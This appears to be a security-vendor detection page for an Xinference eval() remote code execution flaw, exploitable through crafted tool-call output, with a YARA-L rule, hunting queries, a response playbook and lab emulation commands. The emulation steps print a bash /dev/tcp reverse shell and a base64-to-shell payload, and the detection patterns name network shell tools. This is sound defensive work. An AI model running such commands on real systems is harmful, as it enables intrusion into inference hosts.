Detect Xinference RCE via Unsafe eval() in Llama3 Tool-Call Parsing (CVE-2026-61539) in Google Chronicle
Detects exploitation of CVE-2026-61539, a critical (CVSS 10.0) remote code execution vulnerability in Xorbits Xinference <= 2.5.0. The Llama3 tool-call parser passes attacker-controllable model output through Python's unsafe eval(), allowing arbitrary code execution on the inference host. An attacker who can influence a served Llama3 model's tool-call output (e.g., via crafted prompts to the /v1/chat/completions endpoint with tools enabled) can trigger eval() on malicious payloads. This detection identifies exploitation attempts via HTTP requests to Xinference chat endpoints containing eval-triggering patterns, anomalous child process spawns from the Xinference Python worker, and outbound connections from the inference process. Fixed in v2.7.0.
MITRE ATT&CK
- Tactic
- Initial Access Execution
YARA-L Detection Query
rule xinference_eval_rce_cve_2026_61539 {
meta:
author = "argus"
description = "Xinference RCE via unsafe eval() in Llama3 tool-call parsing (CVE-2026-61539)"
severity = "CRITICAL"
events:
$e.metadata.event_type = "PROCESS_LAUNCH"
re.regex($e.principal.process.parent_process.command_line, `(?i)xinference`)
re.regex($e.principal.process.parent_process.file.full_path, `(?i)python`)
$e.target.process.file.full_path = /.*\/(sh|bash|dash|nc|ncat|curl|wget|perl|ruby|whoami|id)$/
re.regex($e.target.process.command_line, `(?i)(/dev/tcp|base64|import os|subprocess|__import__|-c )`)
$host = $e.principal.hostname
match:
$host over 5m
condition:
$e
} Chronicle YARA-L rule detecting code-execution child processes spawned by the Xinference Python worker.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate setup or diagnostic commands from the Xinference worker
- Operator maintenance within the service process tree
- Model plugins invoking helper subprocesses normally
Other platforms for CVE-2026-61539
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate eval()-based child process from Xinference worker
Expected signal: A ProcessRollup/auditd process-launch event with a python3 parent spawning /bin/sh executing `id`.
- Test 2Simulate reverse-shell payload via eval()
Expected signal: Process launch of bash with a /dev/tcp reverse-shell command line under a python parent, plus an outbound TCP connection attempt.
- Test 3Simulate base64-encoded payload execution
Expected signal: A bash child of a python parent with a command line containing `base64 -d` piped to a shell.
References (5)
- https://github.com/xorbitsai/inference/security/advisories/GHSA-x2rj-828p-hx9m
- https://github.com/xorbitsai/inference/pull/4786
- https://github.com/xorbitsai/inference/commit/1b3d220f342ce68d34cec4586d9409d457dadc42
- https://github.com/xorbitsai/inference/releases/tag/v2.7.0
- https://github.com/advisories/GHSA-x2rj-828p-hx9m
Response Playbook
Triage
- Confirm the affected host is running Xorbits Xinference and determine the installed version (`pip show xinference`); versions <= 2.5.0 are vulnerable to CVE-2026-61539.
- Review the chat/completions request logs for the Xinference API around the alert time, focusing on requests to Llama3 models with `tools`/tool-calling enabled and unusual tool-call output containing Python expressions.
- Examine the process tree: identify the child process spawned by the Xinference Python worker and capture its full command line, parent PID, and execution timestamp.
- Determine whether the served model or endpoint was reachable from untrusted networks and whether authentication was enforced on the Xinference API.
Containment
- Isolate the affected inference host from the network to stop any active reverse shell or lateral movement.
- Stop the Xinference service and block inbound access to its API port (default 9997) at the host and network firewall until patched.
- Rotate any credentials, API keys, or model registry tokens accessible from the inference host, as they may have been exfiltrated.
Evidence Collection
- Capture the full process command lines and parent-child lineage for the Xinference worker and all spawned children (auditd/EDR process events).
- Preserve Xinference application logs and the HTTP access logs for the chat/completions endpoint showing the triggering tool-call payload.
- Collect network connection records (netstat/conntrack, EDR network events) for outbound connections from the inference process.
Escalation Criteria
- !Escalate to incident response immediately if any child process established an outbound network connection or spawned an interactive shell.
- !Escalate if evidence shows credential access, data staging, or lateral movement from the inference host.
- !Escalate if the Xinference API was internet-exposed without authentication, indicating broad exposure.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Xinference API access logs showing chat/completions requests with crafted tool-call payloads - >
auditd/EDR process-launch records for children of the Xinference Python worker - >
Outbound network connection records from the inference process - >
Xinference worker stdout/stderr logs capturing eval() output or tracebacks
Tuning Guidance
Baseline the legitimate child processes the Xinference worker spawns in your environment (e.g., GPU diagnostics, dependency installers) and add them to an allowlist to reduce noise. Tighten the command-line indicator regex to your observed exploitation patterns if the broad set generates too many benign hits. Prioritize hosts where the Xinference API is network-exposed or lacks authentication, and downgrade severity for isolated dev instances with no untrusted reachability.
Hunting Queries
Surfaces any shell or tooling process spawned under an Xinference Python worker across the fleet to hunt for eval()-based execution beyond the initial alert.
DeviceProcessEvents | where InitiatingProcessCommandLine has "xinference" | where FileName in~ ("sh","bash","nc","curl","wget","python","python3") | summarize count() by DeviceName, FileName, ProcessCommandLine | order by count_ desc index=linux ("xinference") | search parent_process=*python* process_name IN ("sh","bash","nc","curl","wget") | stats count by host process_name process Atomic Red Team Tests
Emulates the vulnerable Llama3 tool-call parser passing attacker output to eval() by having a python parent (named to mimic the worker) spawn a benign reconnaissance command.
Command
python3 -c "import subprocess; subprocess.run(['/bin/sh','-c','id > /tmp/cve_2026_61539_poc.txt'])" Cleanup
rm -f /tmp/cve_2026_61539_poc.txt Expected Telemetry
A ProcessRollup/auditd process-launch event with a python3 parent spawning /bin/sh executing `id`.
Expected Detection
The KQL/EQL/CQL rules fire on the sh child of a python parent with an `-c` command line containing recon activity.
Emulates code execution establishing an outbound shell, as an attacker would via the eval() sink. Uses a local listener to remain lab-safe.
Command
python3 -c "import subprocess; subprocess.run(['bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])" & Cleanup
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null; true Expected Telemetry
Process launch of bash with a /dev/tcp reverse-shell command line under a python parent, plus an outbound TCP connection attempt.
Expected Detection
Rules match on the `/dev/tcp` indicator in a shell child of a python (xinference) parent.
Emulates an eval()-delivered obfuscated payload decoding and executing via a shell, mimicking attacker evasion.
Command
python3 -c "import subprocess; subprocess.run(['bash','-c','echo aWQK | base64 -d | sh'])" Cleanup
true Expected Telemetry
A bash child of a python parent with a command line containing `base64 -d` piped to a shell.
Expected Detection
Rules fire on the `base64` indicator in a shell process descending from the Xinference Python worker.